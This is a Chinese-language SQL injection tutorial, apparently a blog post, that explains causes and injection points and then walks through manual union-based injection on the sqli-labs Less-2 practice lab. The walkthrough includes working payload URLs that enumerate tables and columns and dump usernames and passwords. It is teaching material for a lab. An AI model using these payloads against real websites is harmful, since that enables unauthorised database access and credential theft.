一、SQL注入概述
1、SQL注入漏洞
攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。
2、SQL注入原理
服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当中SQL语句执行,攻击者从而获得数据库中的数据,影响数据库安全和平台安全
实现SQL注入的两个条件:
用户能够控制输入
原本程序要执行的SQL语句,拼接了用户输入的恶意数据
3、SQL注入过程
4、SQL注入带来的危害
5、SQL注入示例
--空格是注释的意思,注释掉后面的语句
二、SQL注入分类
1、按照注入点类型分类
(1)数字型(整型)注入
例:sqli-labs的第一关,使用火狐浏览器的hackbar
在靶机地址后加?id=8 and 1=2,没有反应
(2)字符型注入
字符串注入测试方法
(3)搜索型注入
2、按照注入技术(执行效果)分类
三、SQL注入漏洞形成的原因
1、动态字符串构建引起
2、后台存在的问题
后台无过滤或者编码用户数据
数据库可以拼接用户传递的恶意代码
3、错误处理不当
详细的内部错误信息显示给用户或者攻击者
错误信息可以直接给攻击者提供下一步攻击帮助
4、不安全的数据库配置
四、寻找SQL注入点
1、GET方法
一种请求服务器的HTTP方法,使用该方法时,信息包含在URL中
点击一个链接时,一般会使用该方法
2、POST方法
POST是一种向Web服务器发送信息的HTTP方法,数据无法在URL中看到,可以抓包,也可以用Hackbar中的POST,POST可以发送字节大的数据
3、其他注入点
Cookie、Host、User-Agent
4、关于注入点的总结
只要后台接收前台输入的数据,而且没有对数据进行过滤,最后直接进入到数据库,从而构成威胁
五、SQL注入过程
1、手工注入
利用sqli-labs靶机的第二关
(1)判断是否存在注入点
(2)、判断字段长度(也就是表中数据有多少列)
利用order by 语法,如下图,为什么-- 后面不是空格,是+呢,因为用+代替空格,以免空格被后面隐藏的固定语句吃掉,使--不起作用
到了4就报错,说明有3个字段
(3)、判断字段回显位置
由上一步我们知道有3个字段,我们可以利用union语法,如下图
and 1=2 是与条件,使前面的语句失效,执行union后面的查询,从而判断出回显位置
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3--+
(4)判断数据库信息和查询数据库名
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,database()--+
(5)查询数据表
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
(6)查找数据库表中所有字段以及字段值
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
(7)猜解账号密码
http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。
这篇文章就写到这里了!